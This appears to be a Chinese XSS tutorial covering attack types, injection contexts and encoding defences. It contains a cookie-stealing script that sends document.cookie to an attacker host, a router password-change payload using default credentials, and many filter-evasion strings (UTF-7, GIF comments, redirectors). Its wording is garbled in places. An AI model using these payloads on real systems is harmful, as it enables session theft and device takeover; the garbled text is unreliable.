一、 什么是跨站脚本攻击?
官方定义:(Cross Site Scripting),为了反面(Cascading Style Sheets, )的缩写稠浊,故将跨站脚本攻击简称为XSS。XSS是一种常常涌如今web运用中的打算机安全漏洞,也是web中最主流的攻击办法。
普通理解:XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不敷的缺陷,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会实行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击办法。
二、 XSS攻击带来的危害
这种漏洞(XSS)攻击常日用于发动cookie盗取、恶意软件传播(蠕虫攻击),会话挟制,恶意重定向。在这种攻击中,攻击者将恶意JavaScript代码注入到网站页面中,这样\公众受害\公众者的浏览器就会实行攻击者编写的恶意脚本。这种漏洞随意马虎找到,但很难修补。
详细危害如下:
1、盗取各种用户帐号,如机器登录帐号、用户网银帐号、各种管理员帐号
2、掌握企业数据,包括读取、修改、添加、删除企业敏感数据的能力
3、盗窃企业主要的具有商业代价的资料
4、造孽转账
5、逼迫发送电子邮件
6、网站挂马
7、掌握受害者机器向其它网站发起攻击
三、xss产生根源和攻击条件
跨站点脚本漏洞的紧张缘故原由:是程序员对用户的信赖,开拓职员轻松地认为用户永久不会试图实行什么出格的事情,以是他们创建运用程序,却没有利用任何额外的代码来过滤用户输入以阻挡任何恶意活动。另一个缘故原由是,这种攻击有许多变体,用制造出一种行之有效的XSS过滤器是一件比较困难的事情。但是这只是相对的,对用户输入数据的\"大众编码\"大众和\"大众过滤\"大众在任何时候都是很主要的,我们必须采纳一些针对性的手段对其进行防御。
履行XSS攻击须要具备两个条件:
1、须要向web页面注入恶意代码;
2、这些恶意代码能够被浏览器成功的实行。
看一下下面这个例子:
这段代码在旧版的IE8和IE8以下的版本都是可以被实行的,火狐也能实行代码,但火狐对其禁止访问DOM工具,以是在火狐下实行将会看到掌握里抛出非常:document is not defined (document是没有定义的)
再来看一下面这段代码:
相信很多程序员都以为这个代码很正常,实在这个代码就存在一个反射型的XSS攻击,如果输入下面的地址:
大概您会以为把ValidateRequest设置为true或者保持默认值就能无忧无虑了,实在这种情形还可以输入下面的地址达到相同的攻击效果:
http://www.xxx.com/?id=xx\"大众 onerror=\公众this.onload()\公众 onload=\公众alert(/xss/)\"大众 x=\公众
四、XSS攻击的分类
XSS攻击可以分成两种类型:
1.非持久型攻击
2.持久型攻击
非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击哀求用户访问一个被攻击者修改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器实行,从而达到攻击目的。
持久型xss攻击:持久型xss,会把攻击者的数据存储在做事器端,攻击行为将伴随着攻击数据一贯存在。
也可以分成三类:
1、反射型XSS攻击
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的缘故原由是攻击者注入的数据反响在相应中。一个范例的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击须要用户的点击)。
大略例子:
正常发送:
http://www.test.com/message.php?send=Hello,World!
吸收者将会吸收信息并显示Hello,Word
非正常发送:
http://www.test.com/message.php?send=<script>alert('foolish!')</script>!
吸收者吸收显示的时候将会弹出警告窗口
2、存储型XSS攻击
又称为持久型跨站点脚本,它一样平常发生在XSS攻击向量(一样平常指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候实行。每当用户打开浏览器,脚本实行。持久的XSS比较非持久性XSS攻击危害性更大,由于每当用户打开页面,查看内容时脚本将自动实行。谷歌的orkut曾经就遭受到XSS。
大略例子:
从名字就可理解到存储型XSS攻击便是将攻击代码存入数据库中,然后客户端打开时就实行这些攻击代码。例如留言板
留言板表单中的表单域:<input type=\"大众text\"大众 name=\公众content\"大众 value=\"大众这里是用户填写的数据\"大众>
正常操作:
用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,运用去数据并显示。
非正常操作:
攻击者在value填写<script>alert('foolish!')</script>【或者html其他标签(毁坏样式。。。)、一段攻击型代码】;
将数据存储到数据库中;
其他用户取出数据显示的时候,将会实行这些攻击性代码
3、DOMBasedXSS(基于dom的跨站点脚本攻击)
基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修正浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。
通过修正页面的DOM节点形成的XSS,称之为DOMBasedXSS。
条件是易受攻击的网站有一个HTML页面采取不屈安的办法从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修正的工具)。
大略例子:
这个例子是个欢迎页面,name是截取URL中get过来的name参数
正常操作:
http://www.vulnerable.site/welcome.html?name=Joe
非正常操作:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
将产生xss条件。让我们看看为什么:受害者的浏览器吸收到这个链接,发送HTTP要求到www.vulnerable.site并且接管到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个工具叫document,document里面有个URL属性,这个属性里添补着当前页面的URL。当解析器到达javascript代码,它会实行它并且修正你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面实行它,这就产生了xss的条件。
五、跨站脚本漏洞利用的过程
XSS的紧张目标是通过把攻击者选择的JavaScript、VBScript或者其它为浏览器所接管的脚本措辞注入到(放进)某些Web运用程序之中。只要攻击者可以将脚本植入有弱点的Web运用程序中的任何地方,浏览器就会认为这个脚本是来自该有弱点的Web运用程序,而非非出自攻击者之手。
这样的话,该脚本就能够在这个有弱点的Web运用程序的域中运行了,并能进行下列活动:有权读取那个有弱点的Web运用程序利用的Cookie;能够看到该有弱点的Web运用程序供应的页面的内容,乃至能将它们发送给黑客;改变有弱点的Web运用程序的外不雅观;回调运行有弱点的Web运用程序的做事器。
大体上,跨站点脚本攻击可以分为三步进行:
HTML注入:我们将先容把脚本注入到Web运用程序的各种可能的方法。所有HTML注入范例只是注入一个JavaScript弹出式的警告框:a_lert(1)。
干坏事。当受害者点击了一个被注入了HTML代码的页面链接时攻击者能作的各种的恶意事情。
诱捕受害者:如何逼迫或者诱使受害者实行恶意JavaScript代码。
HTML注入简介
将HTML和(更为主要的)脚本代码注入Web运用程序的方法切实其实太多了。如果某个Web运用程序的HTTP相应中\"大众照搬\公众了在HTTP要求中输入的内容,例如尖括号、圆括号、句号、等号等,那么解释这个Web运用程序和域具有HTML注入漏洞,并且该漏洞十有八九可以用于XSS。
本节将为读者先容最常见的HTML注入方法,但是无法包括所有方法,由于这些方法是在太多了。对付大多数小型至中型的网站来说,这些技能很可能仍旧见效。只要有耐心,那么您或许也能够利用个中的一种技能成功运用于一个大型Web站点。
下面我们将分门别类的先容各种注入方法。
1、传统的反射式和存储式HTML注入
传统的XSS攻击是一种反射式的HTML注入攻击,借此,一个Web运用程序接管在HTTP要求中的用户输入。该Web运用程序会返回一个HTTP相应,其主体中将包含原封不动的用户输入。如果该做事器的相应跟用户的原始输入完备同等,那么这些用户输入就会被浏览器当作有效的HTML、VBScript或者JavaScript进行阐明。考虑下列的做事器真个PHP代码:
展示了这段代码放置到http://publicpages.daxue.edu/~someuser/MyPhp.php上后,客户端看到的页面内容。
一个大略的PHP脚本,用以吸收用户输入(MyPhp.php)
当用户点击\"大众提交查询\"大众按钮时,就会天生下列GET要求:
http://public-pages.daxue.edu/~someuser/MyPhp.php?input=hahaha
这个PHP运用程序看到用户输入的\"大众hahaha\公众后,将相应一个页面,如图所示。
用户输入\"大众hahaha\"大众后MyPhp.php回答的相应
下面显示的是上图中看到的页面的HTML 源代码,为能干起见用户输入的内容这里以蓝色字体显示。
您输入的内容为: 'hahaha'.
把稳,实际上这里用户可以输入任何东西,例如〈 script 〉 a_lert( 1 )〈 / script 〉、〈 body onload = a_lert( 1 ) 〉、〈 img src = x onerror = a_lert( 1 ) 〉 或别的东西来把JavaScript代码注入到该页面。如果输入 的话,将向做事器发送下列GET要求:
http://publicpages.daxue.edu/~someuser/MyPhp.php?input=
如前所述,这个PHP运用程序只是把用户输入放到返回的相应页面中。这时候浏览器会把这些用户输入的内容当作JavaScript指令,同时认为该脚本来自做事器,这可真是应了那句老话\"大众拿着鸡毛当令箭\公众了,以是浏览器就会实行这些JavaScript代码。下图展示了用户看到的样子。
上图 用户输入\"大众 \公众后MyPhp.php回答的相应
[NextPage]上图中显示的页面的源代码如下所示,个顶用户输入用蓝色字体表示。
您输入的内容为: ' '.
这是将 注入http://public-pages.daxue.edu/~someuser/MyPhp.php得到的结果。这个例子是一种范例的反射式的HTML注入,由于用户在HTTP要求中发送JavaScript代码,同时Web运用程序立即相应(反射回)一个完备相同的JavaScript代码。只要用户单击了下列链接,这个脚本就会实行:
http://publicpages.daxue.edu/~someuser/MyPhp.php?input=
从攻击者的角度来看,利用注入的ML代码让恶意的web页面完成单击或者指定次数的点击是非常主要的。假设前面的PHP运用程序只接管POST要求,而不接管GET,如下所示:
在这种情形下,攻击者无法像上面的GET要求那样直接通过诱骗受害者点击一个链接来注入HTML代码;现在,他们必须采纳一些额外的步骤。为此,攻击者可以创建下列HTML页面:
当用户单击了指向上述HTML页面的链接时,就会对http://public-pages.daxue.edu/~someuser/MyPhp.php进行HTML注入。当然,攻击者也能利用HTML注入干别的坏事,而不仅仅象征性地调用一个JavaScript的弹出窗口。
\"大众第二步:做坏事\公众部分将阐明攻击者除了弹出一个窗口外还能做些什么。
存储式HTML注入跟反射式HTML注入非常相似,唯一差异在于攻击者将脚本植入Web运用程序后,这些脚本会被Web运用程序存储到一个可以检索的地方。例如,对付许可用户张贴和阅读的网络论坛,攻击者可以在张贴时注入HTML代码,然后其它用户阅读这则含有脚本的时,个中的脚本就会实行。
2、定位存储式和反射式HTML注入点
为了探求存储式和反射式HTML注入点,可以考试测验在所有表单输入以及GET或者POST要求的所有参数中注入脚本。我们要假设参数/值对中的值都可能有漏洞。乃至考试测验在新天生的参数中注入HTML代码,如下所示:
〈 script 〉 a_lert ( ' parameter ' )= 不起浸染,由于这些测试字符串并不涌如今相应的HTML主体区。举例来说,如果向http://search.engine.com/search?p= 发送的这个要求返回的相应中,其预添补表单字段内是我们的HTML注入字符串,如:
遗憾的是,脚本标签会被作为用于表单输入字段的字符串,以是无法实行。相反,考试测验http://search.engine.com/search?p=\公众> 的话,会得到如下所示的HTML应答:
〈 form input='text' name='p' value='〈 ,那么保不住攻击者可以注入下列内容:
〈 /title 〉〈script 〉 a_lert( 1 ) 〈 /script 〉
这样一来就摆脱了title标签。USERINPUT3被放在一个模样形状标签中,任何人都可以在IE中设置USERINPUT3成下面的样子:
black; background: url( ' javascript:a_lert( 1 ) ' );
于是他就能够在Firefox利用它了:
1: ( a_lert( 1 ) )
同样的,有时候用户输入会作为其它的标签的一部分涌如今模样形状参数中,如下所示:
如果您可以将USERINPUT3设为下面的值,那么就能在IE中运行JavaScript了:
javascript : a_lert(1)
或者对付Visual Basic爱好者,可以这样利用:
vbscript:MsgBox(1)
Firefox不接管带有JavaScript:协议处理程序的background:url()。然而,Firefox许可JavaScript作为表达式来实行,在Firefox中将USERINPUT3A设为下列值:
); 1:(a_lert(1)
USERINPUT4可以直策应用,只要将USERPINUT4设为:
';a_lert(1);
USERINPUT5被深深嵌入到JavaScript内部。为了插入(确保会实行的)a_lert(1)函数,您必须把a_lert(1)放到所有代码块之外,并担保JavaScript代码的前前后后都是合法的,如下所示:
')){}a_lert(1);if(0)
A_lert(1)之前的文本完成了原来的if语句,因此能确保a_lert(1)函数总是被实行。a_lert(1)之后的文本创建了一个if语句用于剩余代码块,以是脚本标签之间的全部代码都是合法的JavaScript代码。如果不这样,JavaScript就会由于语法缺点而无法阐明实行。
您可以利用一些诡计来把JavaScript注入到USERINPUT6中,例如,可以利用下面的方法:
'> < script=\公众\"大众>a_lert(1)< cript=\"大众\公众>
或者,如果不许可利用尖括号,则利用一个JavaScript事宜处理程序,例如onclick事宜处理程序,如下所示:
' onclick='a_lert(1)
USERINPUT7 还可以是这样:
' >< script=\公众\"大众>a_lert(1)< cript=\"大众\公众>
或者:
' style='x: ( a_lert ( 1 ) )
乃至更大略一些:
javascript: a_lert( 1 )
对付USERINPUT7的前两条利用方法能担保脚本在装入页面时实行,末了一种方法哀求用户单击链接。您可以把它们都试一遍,看看是不是在某些情形下有些字符和字符串是不许可的。
USERINPUT8也面临类似的HTML注入字符串。下面是利用事宜处理程序的最佳办法:
notThere' onerror='a_lert( 1 )
XSS防御方法常日是对具有潜在恶意性的字符进行转义或者编码。举例来说,如果用户输入 到一个文本字段,做事器可能以下列转义后的字符串作为相应:
[NextPage]
根据转义后的字符串的所在位置,这些字符串将以本来面孔涌现并且不会实行。转义方法比较繁芜,以是将在后面的对抗方法中加以详细谈论。大多数转义例程不是忘却对具有潜在恶意性的字符和字符串进行转义,便是利用了缺点的编码方法进行换码。例如USERINPUT9,其事宜处理程序把HTML实体编码为ASCII,以是任何人可以用下列两个字符串上演相同的攻击:
x'); a_lert ( 1 );
以及:x'); a_lert( 1 )
末了,USERINPUT10可以用事宜处理程序利用,并打破输入标签,例子如下所示:
x onclick= a_lert ( 1 )
这个例子解释,用户供应的字符串可以放到HTTP应答中的任何地方,看来真是统统皆有可能呀!
如果您在任何前面的实例中成功进行了HTML注入,那么该HTML注入就可用于在那个域上的任何地方的XSS。您可以用多种不同的方法来向Web运用程序注入JavaScript。如果你的考试测验曾经导致页面格式被毁坏,诸如截断页面、显示了除您注入以外的脚本,那么很可能便是找到了一个XSS漏洞。
3、重定向器中的反射式HTML注入
HTML注入的另一个大舞台是重定向器。有些重定向器许可用户重定向到任何URL。 遗憾的是,JavaScript:a_lert(1)是一个合法的URL。许多重定向器会对URL进行解析,以确定重定向到那里是否安全。这些解析器以及他们的程序员并不总是人们想象的那么聪明,以是像下面的URL:
javascript://www.anywhere.com/%0da_lert( 1 )
以及这个:
javascript://http://www.trustedsite.com/trustedDirectory/%0da_lert( 1 )
可能被接管。在上面的例子中,任何字符串都可以放置在JavaScript表明所用的双斜杠之间以及URL编码的换行符(%0d)之间。
4、移动式运用中的HTML注入
有些盛行的Web运用程序被移植到移动通信领域。这些移动式运用一样平常具有相同的功能,但是安全特性更差,并且仍旧可以通过诸如IE 以及Firefox之类的浏览器进行访问。 因此,它们是HTML注入攻击以及跨站要求假造的空想攻击目标。
常日情形下,移动式运用作为紧张的Web运用程序运行在相同的域上,因此移动式运用中的任何HTML注入都能够访问全体域,包括运行在该域上的紧张的Web运用程序或者其它的Web运用程序。
5、在Ajax相应以及缺点信息中的HTML注入
并非所有HTTP应答都会显示给用户。类似AJAX相应以及超文本传输协议(http)缺点这些页面常日会被开拓职员所忽略。开拓职员可能没有考虑为AJAX相应供应HTML注入保护,由于这些要求常日不是由用户直策应用的。然而,攻击者可以用先前的代码片断模拟AJAX的GET以及POST要求。
同样的,超文本传输协议(http)缺点相应,诸如HTTP 404(Not Found)、HTTP 502(Server Error)等等,常日也会被开拓职员所忽略。开拓职员方向于假定统统都是HTTP 200(OK)。您可以考试测验触发其它的相应,而非仅仅HTTP 200,然后试着注入脚本。
6、利用UTF-7编码进行HTML注入
如果用户的IE自动选择编码集,那么攻击者就能规避大多数HTML注入预防方法。就像前面提到的那样,HTML注入的预防方法一样平常依赖于对潜在的有害字符进行转义处理。然而,UTF-7编码技能利用了无法正常转义的通用字符,而这些通用字符有时无法被某些Web运用程序进行换码。 的UTF-7转义版本将是下面的样子:
+ADw-script+AD4-a_lert(1)+ADw-/script+AD4-
把稳,这是一种不常见的攻击,由于用户一样平常不会打开自动选择编码技能选项。当然,也存在其他的利用字符编码可变长度的UTF编码攻击技能,但是这哀求对UTF有着深入广泛的理解,以是它超出了本文的谈论范围。然而,这个问题解释其它编码(例如MIME类型)的疏漏也是能引起HTML注入的。
7、利用MIME 类型不匹配来进行HTML注入
IE具有许多令人惊异的未公开特性,例如,IE7 以及之前的版本考试测验加载一个图像或者其它的非HTML的相应并且失落败时,它会将该相应作为HTML对待。为了弄明白这个情形,我们可以创建一个文本文件,并包含下列内容:
之后,将其保存为alert.jpg,然后在IE的URL地址栏中或一个iframe中装载的这个\"大众图像\公众,这就会导致这里的JavaScript被实行。
把稳,如果该文件是从一个图像标签加载的话,它就不会作为脚本实行了。
一样平常说来,当您试图上载这样的一个文件到一个图像托管做事时,该做事将谢绝这个文件,由于它根本就不是一个图像。但是图像托管做事常日情形下会忽略文件的扩展名,而只通过文件的幻数(开始几个字节)来确定文件类型。
因此,攻击者可以避开它,方法是用GIF注释中的HTML来创建一个GIF图像,然后将这个GIF保存为.jpg文件扩展名的文件。下面是一个单像素的GIF文件,如下所示:
00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff |GIF89a..........|
00000010 ff ff ff 21 fe 19 3c 73 63 72 69 70 74 3e 61 6c |...!.. .|
00000030 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b |,...........D..;|
将其命名为test.jpg,并在IE中加载它,这会导致实行这段JavaScript。这也是注入Flash跨域政策的一种好方法。只要把Flash安全策略的XML内容放入GIF注释,并担保这个GIF文件不包含扩展的ASCII字符或者字节NULL即可。您还可以把HTML注入到未压缩的图像文件(诸如XPM以及BMP文件)的图像数据部分,而不是表明中。
8、利用Flash进行HTML注入
在大多数HTML注入环境中,攻击者可以注入任意的HTML。举例来说,攻击可以注入一个工具和/或嵌入一个标签来加载该域上的Flash运用程序。 下面是一个例子:
这里的HTML有些繁琐,但是它将JavaScript运用程序具有的掌握权授予一个Flash运用程序,例如(经由ExternalInterface类)读取Cookie、(经由ExternalInterface类)改变web页面外不雅观、(经由XML类)读取用户私人数据以及(经由XML类)以受害者的名义建立HTTP要求。
然而,Flash运用程序有时候会供应更多的功能。例如,flash运用程序可以通过Socket类创建原始的套按字连接。这许可攻击者布局他们的完全的HTTP数据包(包括通过ExternalInterface类盗取Cookie)或者连接到电脑许可的其它端口上。
把稳,Socket连接只能建立到达恶意脚本所源自的域的连接,除非攻击者为完成攻击还反射了一个不屈安的跨域策略文件。
有些开拓职员通过把相应的MIME类型设置为text/plain或者除text /html以外的任何东西来防止AJAX相应被注入HTML。HTML注入将无法进行,由于浏览器不会把相应阐明为HTML。然而,Flash并不关心跨域策略文件是哪种MIME类型,以是攻击者有可能利用AJAX相应来反射一个不屈安的跨域策略文件。
这许可恶意的Flash运用程序以受害者名义向有弱点的Web运用程序发送要求,读取该域上的任意的页面,并创建到达该域的套按字连接。这种类型的攻击的威胁相对较弱,由于恶意的Flash运用程序不能盗取Cookie(但是它仍旧可以以用户的名义来完成任何动作),而且它不能在受害的用户前模拟成运用程序,除非恶意的Flash运用程序将用户重定向到一个攻击者掌握下的域。
然而,到目前为止,HTML注入所能做的最邪恶的事情还是在受害用户目前把自己装扮成Web运用程序,当然,通过其它方法也可以达到此目的,比如反射一个不屈安的跨域策略文件,并利用ActionScript的XML类发送HTTP的GET和POST要求并且读取相应。 不才一节中,我们描述攻击是如何作歹的。
六、XSS攻击实例剖析
例1、大略XSS攻击
留言类,大略注入javascript
有个表单域:<input type=\"大众text\"大众 name=\公众content\"大众 value=\"大众这里是用户填写的数据\公众>
1、假若用户填写数据为:<script>alert('foolish!')</script>(或者<script type=\公众text/javascript\公众 src=\公众./xss.js\公众></script>)
2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库
3、等到别的客户端要求这个留言的时候,将数据取出显示留言时将实行攻击代码,将会显示一个foolish警告窗口。
【将数据改成html标签进行攻击,则会将原来的样式打乱。】
例2、盗取cookie
1、网站所在域名为www.test88.com、攻击者掌握的主机www.linuxtest.com
2、test88.com中的表单,xss.html
3、恶意攻击者插入相应代码
4、数据(攻击代码)插入数据库
5、攻击者掌握的主机中设置吸收盗取的cookie
开始仿照测试
1、test88.com中设置天生sessionID代码
2、客户端访问上面代码并天生自己的sessionID
3、客户端访问xss.html
#下面为仿照被攻击后取出数据的xss.html代码(显示数据)
<!DOCTYPE html>
2 <html>
3 <head>
4 <title>xss攻击</title>
5 <meta charset=\"大众utf-8\"大众>
6 </head>
7 <body>
8 <form action=\"大众./test99.php\"大众 method=\公众post\"大众>
9 留言:<input type=\"大众text\公众 name=\"大众content\"大众 value=\公众\"大众><br/>
10 <input type=\公众submit\"大众 name=\"大众\"大众 value='提交'>
11 </form>
12 <br/>留言记录:<br/>
13 <script>
14 var Str=document.cookie; //获取cookie
15 var a =document.createElement('a'); //创建a标签
16 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机
17 a.innerHTML=\"大众<img src='./aa.jpg'>\公众; //掩护图片
18 document.body.appendChild(a); //将标签添加到页面中
19 </script>
20 </body>
21 </html>
4、客户端欠妥心点击到图片,sessionID将被盗
# vi xss.txt
【当然这仅仅只是一个很大略的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家理解XSS是如何进行攻击的。】
例3、渗透路由器
对付处于内网中的用户,我们可以利用XSS来变动路由器密码。我们可以借助默认的密码来上岸路由器,比如URL:,实在很多路由器都是利用默认密码,我这里这台也是如此,直接以admin作为用户名和密码。首先我们先利用Firefox插件Live HTTP headers获取要求头,如图所示:
因此我们可以在head代码模块中写入以下语句:
<script src=\公众http://localhost/1.js\"大众></script>
个中1.js源码如下:
window.open(\"大众http://admin:admin@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=admin&newname=administrator&newpassword=password&newpassword2=password&Save=%B1%A3+%B4%E6\"大众);
下面我们试着用上岸,结果如图所示:
可见密码已经修正成功!
七、如何防御\公众跨站脚本攻击\"大众
防御XSS有一个原则:
宁去世也不让数据变成可实行的代码,不信赖任何用户的数据,严格区分数据和代码
既然是将数据给注入到代码里面变成可实行代码,那么我们就找出所有可能的地方,绝大多数XSS发生在MVC模式里面View层。
我们来看看过程:
个中:A B C D E F 标记的地方则代表可能会产生XSS
我们分不同高下文来进行不同的编码函数,就可以很肯定的断绝在这些地方产生XSS,只要情形不分外(分外如:宽字节 base64编码等),就一定可以担保安全。
A: 后端》》》CSS
输出到CSS常日不会涌现什么XSS,但是如果CSS里面有可能的用户完备可以掌握的变量,如果我可以自定义 style 属性而且没过滤,或者可以直接掌握某段CSS。
<p style=\"大众background-image: url(javascript:alert(/xss/));\"大众>//同理<style>#id { background-image: url(javascript:alert(/xss/));}</style>
这样就可以利用伪协议来实现。
办理方法:
对style属性里面的数据进行严格的检讨,并且对付用户输出到xss里面的内容进行适当的CSS编码。
B: 后端》》》》Javascript
这种直接输出的js又不过滤切实其实便是老掉牙的xss漏洞。
var x =\"大众\"大众;//如果假设用户可以掌握x变量//那么我输入 \"大众;alert(/xss/);////那么这串代码会变成var x =\"大众\"大众;alert(/xss/);//\"大众; //赤色部分是用户输入的字符//成功弹出 提示框,实行了额外的代码
当然还有一堆方法实现各种xss,各种姿势。以是这种是最最最大略的xss也是最随意马虎被利用的。
办理方法:
对其进行严格的JavascriptEncode,将某些字符转义,如 \"大众 变成 \\公众 ,' 变成 \' 等等(不止这些) 防止用户逃脱你的 双(单)引号,也可以防止其他姿势注入。
C: Javascript》》》天生HTML元素或添加html元素属性
如 js 给 <div> 添加height 属性 变成 <div height=\"大众200px\"大众>
对付这个时候,从js输出数据到属性或 innerHTML/document.write 等函数天生任何元素,都要视为一次可能的XSS输出。由于高下文已经不一样了,这次JavascriptEncode是不对的。否则你只能担保数据在js里面不会被注入,而在html的话,就不一定了。
办理方法:
该当利用 HTMLEncode 编码,担保你从js输出到HTML的元素和属性不会分开你的掌握。
D: Javascript》》》输出到HTML元素里面的事宜 或其他任何动态实行js的地方
列如下列一段代码,如果foo是从js实行之后动态输出到html里面的。foo是用户可以掌握的。
<script>document.write(\"大众<img onload=' \"大众 + var + \"大众 '>\"大众);</script><img onload='alert(\"大众var\"大众);'>
那么我完备可以跟上次一样,输入 \"大众;alert(/xss/);//, 纵然你第一次从后端到js利用了一次jsEncode,但是很遗憾,输出到html事宜(write函数)后代码会转义回来,以是我依然实行了。
则会变成:
<img onload='alert(\"大众\公众;alert(/xss/);//\公众);'>
可以瞥见,当你加载完毕之后,恭喜实行我的恶意代码。
办理方案:
利用 JavascriptEncode,对事宜里面的js代码进行编码。这里也必须视为一次可能的XSS输出。
E:后端 》》》》输出到HTML元素里面的事宜 或其他任何动态实行js的地方
列切实其实可以视为跟D是千篇一律的,以是你只须要理解D情形,那么这个也就自然可以理解了。
<img onload='var'>
如果var是后端直接未经由处理输出,则输入 ';alert(/xss/);// 则触发XSS
办理方法:
也是对var进行JavascriptEncode。
F:后端 》》》》天生HTML元素或添加html元素属性
与C情形也是千篇一律。只是输出源不同了而已,事理模式都一样。
<div>$var</div>
如果$var是后端输出的,那么我可以输入<script>alert(/xss/)</script> 或 <img scr='' onerror='alert(/xss/)'>
总之这样很随意马虎注入XSS
办理方法:
对var变量进行HtmlEncode,那么我就无论如何也构建不了<>任何元素了。也就不可能有<script> 或新建元素利用Onload事宜等。